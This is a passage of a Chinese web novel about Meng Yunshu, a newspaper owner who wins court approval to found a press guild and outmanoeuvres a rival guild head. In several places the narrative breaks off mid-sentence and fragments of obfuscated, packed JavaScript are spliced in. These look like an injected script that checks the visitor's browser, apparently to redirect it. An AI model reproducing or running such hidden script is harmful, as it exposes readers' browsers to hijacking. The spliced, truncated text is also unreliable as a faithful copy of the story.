自盛催雪找回状态后，孟允抒和她一气呵成地完成了接下来的培训授课，并如约为那些加盟的书商提供了各项帮助。接着，他们也兑现承诺，在私下紧锣密鼓地尝试创办自己的小报。 在此期间，孟允抒和这些报社一直保持着密切联系，在随时帮他们处理问题的同时，也互相交流着如玉行会的动向。在成立正式的报业行会之前，他们还需要挂羊头卖狗肉，低调行事，以防被如玉行会察觉到他们的小动作，让他们的计划胎死腹中。 “自打入了秋，这天真是一日冷过一日。” 萧谨言推开办公室的大门，卷着一股凉风走了进来，他搓搓手臂看向孟允抒：“这几日报社的营收也是如此凄凉。现今我们已经自身难保了，却还要一直帮那些掌柜，这入不敷出的日子什么时候才是个头。” 孟允抒批阅完面前的一份文稿，气定神闲地对萧谨言笑了笑：“萧主编稍安勿躁，一旦官府通过了我们创建报业行会的申请，我们作为行首就能收取会费回本；民众看到朝廷的态度后，他们也能放下心来继续买报；报业成为正式的行当，也会吸引更多人加入我们。过不了多久，报社就会比以前办得还红火。” “那是最好的情况。”萧谨言去他的工位上喝水，顺便和孟允抒闲聊，“昨日我听睿言说了，皇上从户部那得知此事后特意宣布，今日他要在早朝上和诸位官员一同商议是否批准我们的申请。” 他摇摇头叹了口气：“为此新旧两党肯定要在皇上面前大吵一番。民间小报本就是个敏感话题，要是他们再说出什么不该说的话来惹恼了皇上，我们可没什么好果子吃。” 半月前孟允抒曾到访过城内的几家新报社，也询问了那些掌柜经营情况如何。确定时机成熟后，孟允抒便联合他们向官府递交了文书，在其中详述了报业的市场需求以及他们的从业计划，申请注册报业行会。 建立新行当本就需要经过层层审批，再加上报业性质和孟允抒的身份特殊，户部官员一时拿不定主意，便将其上报给了皇帝。她听许昭说，皇上在听闻此事后便要召集百官，请诸位大臣共商此事。 有孟允抒的那桩冤案在先，朝中的新旧两党都很清楚，报业行会能否建立直接关乎着他们的势力强弱。如果朝廷未能通过这项申请，孟允抒势单力薄，迟早会再次受到暗害，到那时她毫无还手之力，旧党就可以故技重施，对新党施以猛烈打击。 因此，双方一定会据理力争，在朝堂上展开激烈的辩驳。 “你就放心吧。”孟允抒搁下手中的笔，胸有成竹地说道，“陛下是故意让他们争辩的，他不会发表任何意见。只要支持我们的声浪更大，成立报业行会就是板上钉钉的事。” 做皇上的可比任何人都要懂得权衡利弊，先前孟允抒从许昭的描述中听出，他们当今的皇上是个敢于变革的人，但碍于旧党的根基深厚，他还得仰仗这些朝臣为他效力，因此在明面上一直附和着这些人的观点。后来随着新党的日渐崛起，政局发生了微妙的变化，皇上的态度也随之变得暧昧不清。 从当下来看，“成立行会”这件事本身的重量根本不足以被拿到朝会上讨论，如果皇上对小报的态度倾向十分明确，那他完全可以直接给出自己的决断。他之所以让各位大臣畅所欲言，在朝会上公开商议此事，完全是想借机试探两党的实力。如果新党能够赢得胜利，他自然会同意孟允抒的申请，在之后的治国理政中他也能够逐步放开手脚，对新党成员有所侧重。 萧谨言听孟允抒分析了一通，实在搞不清这些政治中的弯弯绕绕，索性将它抛之脑后，问了她另一个更简单的问题：“可旧党实力雄厚，你怎么知道我们一定能赢？” “我当然不知道我们是否能够取胜。”孟允抒重新拿起笔，意味深长地对萧谨言笑笑，“但着急也没用，还不如先做好手头的事。反正今日我们就能见分晓了。” 她说话时的语调平稳，握住毛笔的手却已经沁出了一层薄汗，在笔杆上印下清晰的指痕。 正如萧谨言所说，黎民报社因那场风波元气大伤，又陷入腹背受敌的困境，孟允抒唯一能够摆脱危机的方法就是她后来所做出的种种举措。 如果今日她的申请被朝廷驳回，那他们就连这最后的一条路都会被堵死。而且，她不敢保证报社的职工能够再承受住一次重挫；她与那些书商的同盟被瓦解后，如玉行会也肯定会彻底将她置之死地。 一旦她的计划失败，情况只会比以前更糟糕。 孟允抒掌心的汗水已经浸湿了她手底下按着的那张纸。 如今正是千钧一发的时刻，但她并不知道现在朝会上的情况如何。她已经竭尽全力地做好了自己能够做的事，接下来的事她无法插手，只能静待消息。报社能否绝处逢生，全要看新党能否战胜旧党。 而这也正是检验许昭战果的时候。 自从孟允抒出狱以来，她和许昭就分头行动拉拢人脉。官场上的明争暗斗比民间更为复杂，她不知道许昭是否真的赢得了足够多的支持。如果新党败下阵来，不但标志着孟允抒的计划以失败而告终，更会让皇上意识到新党的势力微弱，此时并非改革的良机，接下来他就会按兵不动，暂时不对旧党予以削弱。而在经历此事后，旧党的嚣张气焰只会比以前更甚，许昭也会遭到更疯狂的报复。 到那时，他们在朝堂上也是满盘皆输。 “唉，等消息真是急人。”萧谨言的声音将孟允抒拉回现实，他稍事休息后重新起身，经过孟允抒的桌前向她告辞，“社长，我回编修堂了。” “好。”孟允抒略一点头，又用眼神指指她面前那摞放在书堆最上方的纸张，“这是我方才批过的文稿，你顺便将它带回去吧。” 萧谨言应声拿起了那摞纸，一边往前走一边翻看着上面的内容。孟允抒刚刚低下头还没来得及落笔，却听见萧谨言的疑惑又在耳畔响起：“社长，这纸怎么是湿的？” 孟允抒抬头看向萧谨言，他快步折返回孟允抒桌前，将他手里的那张文稿展示给她看。 那张纸的一角已经变得皱皱巴巴，靠近边角的文字也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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排云喘了几口气，回答道：“郭掌柜见势不妙，就赶紧派伙计来将消息告诉我们，自己则先与他周旋。” 孟允抒知道胡行长在官府有些人脉，在她递交申请的当日，他就气势汹汹地跑去那些与她合作的书坊中问罪。但因为他们对此早有提防，胡行长搜罗了一圈后并未找到实证，只能就此作罢。 这半月以来他们都如履薄冰，生怕被如玉行会抓住把柄，对他们横加干涉。在眼下这个紧要关头，他们还是露出了破绽。 然而，胡行长在发现郭掌柜卖报后，他显然得知此事与黎民报社有关，但他并没有直接通知她。胡行长应当是打算对他们各个击破。 考虑到郭掌柜独木难支，孟允抒思忖片刻后吩咐排云：“你先让人去找辆马车，我马上出发去文昌书坊。我不在报社的时候，你们要加强警戒。” 接着，她起身去找盛催雪随行。 如玉行会人手充足，要是动起手来，即便是黎民报社和文昌书坊联合，他们也都不堪一击。针对眼下的情况，她更需要巧妙的解法，避免对方使用武力。 56. 柳暗花明 在文昌书坊伙计的指引下，孟允抒和盛催雪快步穿过中庭，来到后院的正厅门前。 随着伙计推开大门，室内的景象全部呈现在孟允抒眼前，所有人的面孔也一齐转向门口。 孟允抒目之所及满是身强力壮的青年男子，他们将空气沉沉地压了下来，原本宽敞的大厅显得十分拥挤，连光线都无法渗透这堵人墙。以过道为分界线，胡行长与郭掌柜身后都站了一大批伙计，看上去泾渭分明。 从当前的这副场景还有凝重的氛围来看，他们双方对峙应当已经有一段时间了。 孟允抒对那些锐利的目光以及置若罔闻，她不紧不慢地进了正厅，向屋内的所有人行了一礼，用调侃的语气打破僵局。 “今日的文昌书坊好生热闹，此处竟然有这么多来客。只是诸位似乎对彼此还不太熟悉，神情都这样紧绷。” 而后，孟允抒走近郭掌柜，顺势在他身旁的椅子上坐下，责怪他道：“郭掌柜，你是文昌书坊的东家，应当尽地主之谊，热情款待来宾才是。” “孟社长所言极是。”郭掌柜见孟允抒前来支援，面色有所缓和，转而对胡行长赔着笑说道：“招待不周的确是文昌书坊的罪过，还请胡行长见谅。” 孟允抒也对胡行长笑道：“胡行长，文昌书坊离黎民报社不远，你今日与郭掌柜相聚，怎么也不通知我一声，好让我也来凑凑热闹。” 她的言下之意就是，她已经识破了胡行长想要将他们分化瓦解的计谋。 胡行长方才与郭掌柜的交涉并不愉快，此时他面色铁青，见到孟允抒更是怒火中烧，但他并未在明面上失礼，只是对她冷嘲热讽道：“孟社长日理万机，那么多家书坊都要仰仗着你的帮助才能走到今日，我哪敢为了这点小事叨扰你。” 孟允抒当然知道他指的是自己在私下拉拢书商的事，却故作严肃道：“胡行长此言差矣，我们都是如玉行会下辖的同行，理应一同面对困难，事情哪有大小之分。我作为行会的一员，帮助那些书商也是分内之事，没有什么功劳可言。” “孟社长在顾及自己生意的同时还能关照同行，胡某佩服。”胡行长的话中有些挖苦的意味，“你就不曾想过，这样下去你自身难保，而其他书商得了你的帮助，反倒会后来居上？” 胡行长这是在明晃晃地离间他们。 “胡行长，我还是那句话。”孟允抒从容不迫地回答道，“我们身为同行，理应互相帮助。如玉行会设立的初衷也正是如此。” 见孟允抒始终在和他打太极，胡行长也没耐心再和她耗下去，索性把话挑明了说：“我还真不知道从什么时候起，报业和书业也能算是同行。” 这个论据对孟允抒来说相当不利，再说下去她只会将自身搭进去，于是暂时保持沉默。 胡行长看看郭掌柜，神情严肃地说道：“根据大胤律法，商铺经营的生意应与其加入的行会保持一致，不允许跨行经营。所以，如果文昌书坊想要继续营业，就只能在书业与报业中选择其一。” 在场的所有人都明白，选择书业意味着要继续受如玉行会的限制，文昌书坊若是敢经营小报就是违令，如玉行会有理由对其进行惩戒。而如果郭掌柜选择报业，那如玉行会就能够以行业不符为理由，将文昌书坊从行会中剔除出去。 眼下报业行会还没建立，选择后者就意味着死路一条。胡行长看似为郭掌柜留出了选择的余地，实则步步紧逼。 郭掌柜头上沁出了冷汗，他见孟允抒默不作声，只能硬着头皮举出那唯一的反例，试图与胡行长争辩：“但在报业行会建立之前，报社理应交由如玉行会管辖。当初黎民报社不正是这样做的吗？” 孟允抒知道胡行长等的就是这句话，她在暗中攥紧了指尖，奋力在脑中搜寻着对策。 见事态发展尽在自己的掌控内，胡行长冷笑一声说道：“郭掌柜，你难不成认为如玉行会是什么慈善机构，无论是哪行哪业的商铺，我们都照单全收？” 他用眼神指指孟允抒说道：“当初黎民报社加入如玉行会，那是作为特例。我要是再给你们开个口子，以后你们一生二，二生三，大家纷纷改行从事报业，书业反倒被你们挤到一边去，那如玉行会还算什么书业行会？” 胡行长重新看向郭掌柜，再次给他施压：“一家报社不能作为独立的新行当存在，可两家就不是这样了。如玉行会遵守进出自由的原则，你要是真想从事报业，我们也不会拦着。” 他讥讽地笑笑，图穷匕见道：“正好你和孟社长一并退出行会，单独成立你们的报业协会，岂不美哉？” 孟允抒听得出，胡行长表面上是在回答郭掌柜的问题，但话中的利刃都对准了她。 她绞尽脑汁地思考着如何反击胡行长，却被他压迫得喘不过气。 “说了半天，诸位不就是想问郭掌柜怎么选吗？” 盛催雪的声音划破寂静的空气，替孟允抒和郭掌柜掀开胡行长的单方面压制，干脆利落地为他们的交锋做出总结。 孟允抒将目光落在盛催雪身上，只见她漫不经心地往椅背上一靠，对室内的众人说道：“那你们就最应该听听郭掌柜的想法。” 她看向郭掌柜，视线也经过了孟允抒的面庞，像往常那般爽朗地笑了笑：“但这毕竟关乎文昌书坊的前途命运，郭掌柜可得三思而后行，绝不能草率地做出决定。” 孟允抒察觉到盛催雪刻意加重了“三思”和“不能草率”等词的声调，像是在暗示她什么。 她飞快地思索一番，而后恍然大悟。 如今已是巳时，即使那些大臣在早朝上吵得再激烈，在午时前皇帝也一定会针对他们的申请作出决断。今日一早她就派了伙计去宫门外守着，一旦此事尘埃落定，她就能在第一时间收到消息。 而无论他们的申请能否通过，到那时郭掌柜都能依据这个结果确定，他究竟该选择哪一边。 摆脱当下危机的最佳方案就是拖延时间。 意识到这一点，孟允抒连忙附和着盛催雪的话叮咛郭掌柜：“盛副主编说得对。虽然我也很希望郭掌柜能够加入我们，但报业行会尚未建立，我们的前途未卜。” 她又看了看胡行长，故意吹捧他道：“而如玉行会历史悠久，书业也早就有了稳定的受众群体。到底是继续从事书业还是改行从事报业，郭掌柜可得慎重考虑。” 郭掌柜有些发懵，他认为孟允抒不可能会突然转变态度，于是仔细回味了一遍孟允抒的话。 忽然， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过了半晌，正厅已经乱成了一锅粥，所有人都在推搡着彼此，嘴里说着些客套话，正如过年收红包时的拉锯战，只是规模更加庞大。在这样的情形下，在场的所有人始终没能喝上茶水，但陡然听到了一个高亢激昂的声音。 “孟社长！” 孟允抒望向门口，她一眼便认出这人是黎民报社的伙计，连忙撒开拽着胡行长衣袖的手，好凝神听他接下来的话。 “申请，我们的申请通过了！” 他上气不接下气地说着，但仍卯足全力大喊，面色由于激动和欣喜而变得通红。 “朝廷准许我们成立报业行会！” 听到这句一锤定音的话，孟允抒却愣了一瞬。 也就是说，旧党在早朝的辩论中没能取胜。 郭掌柜身后的人群爆发出一阵欢呼，将盛催雪的声音淹没在其中。 她将孟允抒扑了个满怀，喜极而泣道：“允抒，我们成功了！” 恍惚之间，孟允抒看向他们的对面。与他们截然相反，如玉行会的人都陷入了哑然，随后气势便萎靡下去。 胡行长神情呆滞地走到椅子身边，按着扶手缓缓坐了下去，从头到尾未发一言。 他这才明白过来孟允抒等人的真实目的。如今尘埃落定，郭掌柜自然会加入报业行会，改行从事报业。他要是再继续干涉文昌书坊的事务，那就是算是寻衅滋事。 胡行长茫然地抬起头来，正对上孟允抒的视线。 看着余光里那群相拥而泣的身影，他隐约感觉到，从今以后，不单是对他来说，这场棋局的双方要攻守易形了。 57. 允昭行会 都说“人逢喜事精神爽”，孟允抒觉得这话一点不假。 随着报业行会建立申请的通过，接下来要处理的待办事项便堆满了她的案头，各位加盟商也纷纷派人送来书信，向孟允抒道喜的同时再询问接下来的各种事宜。 从文昌书坊回来后，孟允抒的大半天都在这些接踵而至的信件与文书中度过，可她即使卯足了劲地干活也不觉得疲累，也没发现窗外的天色已经暗了下去。 最终，盛催雪的一句惊疑将她从纷繁的纸堆中拽了出来。 “许大人，你在这偷偷摸摸地干什么呢？” 孟允抒一下午都在给各方官员写信，脑子里面装满了各种张王李赵大人，一时没能意识到这位“许大人”是谁。 “盛姑娘，你小声些。”一个男声刻意压低了嗓音，但语气依然急促，“别惊扰了允抒。” 孟允抒曾听过这声音的各种腔调变化，她瞬间意识到声音主人的身份，于是赶紧丢下笔，起身向门口奔去。 盛催雪不解地看着许昭，并未听从他的提醒：“你要找社长就直接进去，为什么——” 她的话说到一半，孟允抒便骤然拉开了办公室的大门，惊喜地喊道：“许郎来了？” 许昭转头看向孟允抒，有些窘迫地对她笑笑：“你现在忙吗，我有没有打扰到你？” 听到这话，盛催雪马上明白了许昭为何会作出那般举动。 她存心想打趣这两人，于是憋住笑意，上了台阶走到孟允抒身边，凑近她做出耳语的手势，说话时却故意提高了声音，好让许昭也能听见 她瞅了眼许昭，故作神秘地说道：“社长，我们报社里有贼。” 孟允抒并不知道方才房门外的景象，连忙向她打听详情：“此话怎讲？” 许昭一时没反应过来她话中的含义，他也警惕地问盛催雪：“盛姑娘，你可有看清那贼人的模样？” 盛催雪露出一个不怀好意的笑容，对两人讲述着她刚才的见闻：“方才我从院中经过，却见一个鬼鬼祟祟的身影在社长门前张望。那男子见附近无人，便蹑手蹑脚地靠近门窗，从缝隙中偷窥里面的景象。” 孟允抒听得毛骨悚然：“竟有此事？” 许昭也一脸严肃地望向盛催雪。 “接着，这人又下了台阶，在社长门前徘徊，不知道在打什么主意。我见状便上前询问，可我一来他就让我别声张。”盛催雪实在忍不住大笑起来，“你们说，这人不是贼是什么？” 从盛催雪最后的那句话中孟允抒听明白了，她这是在描述许昭方才的作为。 可许昭却对此浑然不觉，在孟允抒开口之前，他又疑惑道：“此处又没有金银钱财，那贼人想要盗取什么？” 盛催雪说话间已经移步至安全地带，防止孟允抒打她：“此地确实没有金银钱财，但有一位貌若天仙的妙龄女子，那可真是无价之宝。” “催雪，你整日就没个正形。”孟允抒听出她的调侃，佯装嗔怒道，“连我的玩笑都敢开，真是没大没小。” 盛催雪见势不妙赶忙开溜，一边飞奔一边笑着喊道：“许大人，你怎么还没反应过来，孟社长的一颗心早都被你窃走了！” 许昭这才意识到盛催雪刚才是在取笑他，瞬间窘迫得无地自容，连衣衫上的绯色都迅速攀上了他的脸颊。 孟允抒察觉到自己的脸上也有些发烫，她为了给两人解围，岔开话题问许昭：“你怎么突然来报社了？” “哦。”许昭想起了他来这的目的，“一个时辰以前我收到报社伙计的传话，说你今日事务繁忙，晚上要宿在报社，不回府休息。” 说着，他去墙根旁取来刚才被他放在一边的食盒：“今日你我的行动初见成效，我担心你高兴过头废寝忘食，所以从府里来给你送饭。” 孟允抒没敢告诉许昭，要是他不来，她还真有可能错过晚饭。 “那我们别在这里站着了。”孟允抒见他一脸灿烂地傻笑着，心中涌起一阵暖流，牵起许昭的手叫他进屋说话：“正好我还有些事想问你。” 两人进了办公室，许昭帮着孟允抒清理出桌面的一小块区域，将食盒放上去，随后又起身去搬凳子。 孟允抒打开盒盖，一股菜香扑鼻而来。食盒内的菜品样式不过三种，都是她爱吃的家常菜，但它们都被妥帖地装在暖盘里，以起到保温作用。 孟允抒顿时觉得食欲大增，她摆放好餐盘，见食盒内只有一双筷子，抬头向许昭问道：“许郎，你吃过饭了吗？” 许昭放下凳子，在孟允抒身边坐好，对她微微一笑：“我已经在府中吃过了，你快些吃吧。” 孟允抒并不相信他的话，在她还饿着肚子的时候，许昭绝不可能先动筷子。 她计上心来，将筷子塞到许昭的手里说道：“你方才在门外待了那么久，这些菜恐怕都凉了，你先帮我试试温度。” 许昭却只是抬手摸了摸盘壁，将筷子还给孟允抒，一本正经地说道：“这盘子都还是热的，你放心吃吧。” 孟允抒一计不成又生一计，索性直接抱住许昭的腰：“不行，你不吃我也不吃。” 许昭惊慌失措地推着她的胳膊，压低声音焦急地提醒她：“你快放手，这是在外面，万一待会有人进来，让旁人看到成何体统。” 孟允抒自知她的力气不小，但许昭要是真想让她放手，推开她并不是什么难事。 所以她才有恃宠而骄的底气。 孟允抒最喜欢看许昭这副手忙脚乱的模样，她起了坏心思，在许昭耳畔笑道：“许郎，早知今日，何必当初。昨夜你和我共度春宵之时，你可有想过如今的窘态？” “你别说了。”许昭难以招架孟允抒的攻势，只能无奈地拿起筷子，“我听你的便是。” 孟允抒的目的已经达成，于是松开许昭让他好好吃饭。 许昭装模做样地糊弄着这回事，他抬眼时恰巧瞥见孟允抒搁置在案头的那些文书，便转移话题道：“既然户部已经批准了你们的申请，接下来你们就要将报业行会的名称及下属商铺登记在册。” 说着，他小心地将话头和筷子一并递给孟允抒：“关于报业行会的名称，你可有什么想法？” 孟允抒一眼便识破了许昭的心思，但两人要是再这么互相推拒下去，谁都吃不上一口热乎饭。 于是她装出一副陷入沉思的模样，似是不经意地从他手里接来筷子。这让许昭误以为自己的计划取得了成功，颇为自得地笑了起来。 孟允抒望着许昭澄澈干净的双眸，在努力憋笑的同时，大脑中忽然浮现出一个词汇。 “我当前是有一个主意，但稍后还要与各位同行的掌柜商量。”孟允抒对许昭笑了笑，语气温柔，满怀期待。 “我想将其命名为‘允昭行会’。” 许昭愣了愣，他意识到这个名称是在他和孟允抒的名字中各取一字组合而成，有些不好意思地推阻道：“这不大合适吧，毕竟我不是报业的从业者，没道理将我的名字冠上去。” “谁说这是你我二人的名字？”孟允抒露出狡黠的微笑，“只是凑巧罢了。” 她言归正传，显出庄重的神色：“许郎，你应当读过‘允文允武，昭假烈祖’这句诗文，了解其含义。” 许昭点点头。这句话的引申义可用于赞美文武双全之人，强调其成就足以光耀门楣，传承先辈精神。 “从事报业的人多为文人士子，我们在外人看来弱不禁风，手无缚鸡之力。”孟允抒用筷子指指她面前悬着的那支毛笔，“可很多人忘了，这就是我们的兵器。我希望每个报人都能明白这一点，学会使用这份力量，而不只是做一个温良无害的文人。” “的确。”许昭感慨道，“过去许多民众都被谣言蛊惑，被事物的表象蒙蔽，道听途说人云亦云，可如今他们逐渐明白，在面对新闻时要先考证其真实性。” 动用武力可以强迫人们改变行为，却无法扭转其思想观念。在这一方面，文化行业不费一兵一卒，却胜过千军万马。 接着，孟允抒解释了后半句话的含义。 “我不是第一个从事报业的人，也不会是最后一个。在我之前有许多人为此丢了性命，但如果没有他们，小报就不会问世，更不会演变成今日的模样。”她对许昭笑笑，“如今报业行会已经建立，我希望报业能后继有人，将那些先驱连同我们的理想薪火相传。” 这是孟允抒为后来者留下的教诲与训诫，也寄托着她对报业未来的美好期望。 “原来如此。”许昭思忖片刻，惭愧地对孟允抒笑笑：“的确是个好名字，是我鼠目寸光。” 孟允抒嗔怪地捏了捏许昭的脸：“你不必这样自谦，一直以来要不是你从旁协助，我哪能有今日的成就？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她的印象中，王昕算得上是位好官，但因他年纪渐长，不愿参与政斗，故而总是有意避开风暴中心，成为一名沉默的中立派人士。 孟允抒点头道：“记得。怎么了？” “在今日的朝堂上，王大人一反常态地帮我说了话，但理由只是他认为民间报业乌烟瘴气，小报往往被有心之人利用，成为党争的工具。若能对其进行统一管理，则有利于肃清朝政。” 王大人的行为符合他一贯的立场，孟允抒不觉得这有什么问题。 许昭话锋一转：“当然，这不是重点，关键在于王大人斥责程玄平时所说的那些话。” 这句话让孟允抒停下了夹菜的动作。 “程玄平认为王大人是在暗讽他，便对他紧咬不放，句句都与王大人针锋相对。王大人气急之时，曾对他施以人身攻击。” 孟允抒知道王昕这人有个缺点，他在发火时经常仗着年纪大和资历老来批驳对方。 “王大人说，在程玄平还是个黄口小儿时，他自己都曾说过，朝中百官理应齐心协力扶持明君，向其建言献策共治天下，不该结党营私，做那些投机钻营的事。而如今他却罔顾事实，只是一心想着排除异己，他难道不会感到愧对己身吗？” 孟允抒不可置信，程玄平竟然还说过这样的话。 她连忙问道：“那程玄平如何回答？” “他说，那时他年少无知，不懂得朝政的复杂，想法太天真，王大人何必翻那些旧账。眼下他虽有心帮皇上效力，可朝中却总有不同的声音混淆视听，若是朝中诸臣不能统一意见，陛下当然也不好做出决断。” 孟允抒蹙起眉头：“听程玄平的意思，他的确提出过这般想法，只是现今他对这番言论嗤之以鼻。” 许昭颔首道：“没错。下朝后我曾专门向王大人打听此事的内情，但他说那是程玄平入朝以前的说法。自打程玄平为官以来，他便坚定地奉行他自己提出的那套学说，如今已有三十余年。所以王大人推测，程玄平可能确实如他所说，他自认为当时他太过年轻，所持的观念过于理想，不适用于实际，后来才会改弦更张。” 这番话落音后，孟允抒陷入了良久的沉默。 这样看来，程玄平原本并不是今日的这般模样。 但一个人到底经历了什么事，才会让他彻底否定自己过去的观念？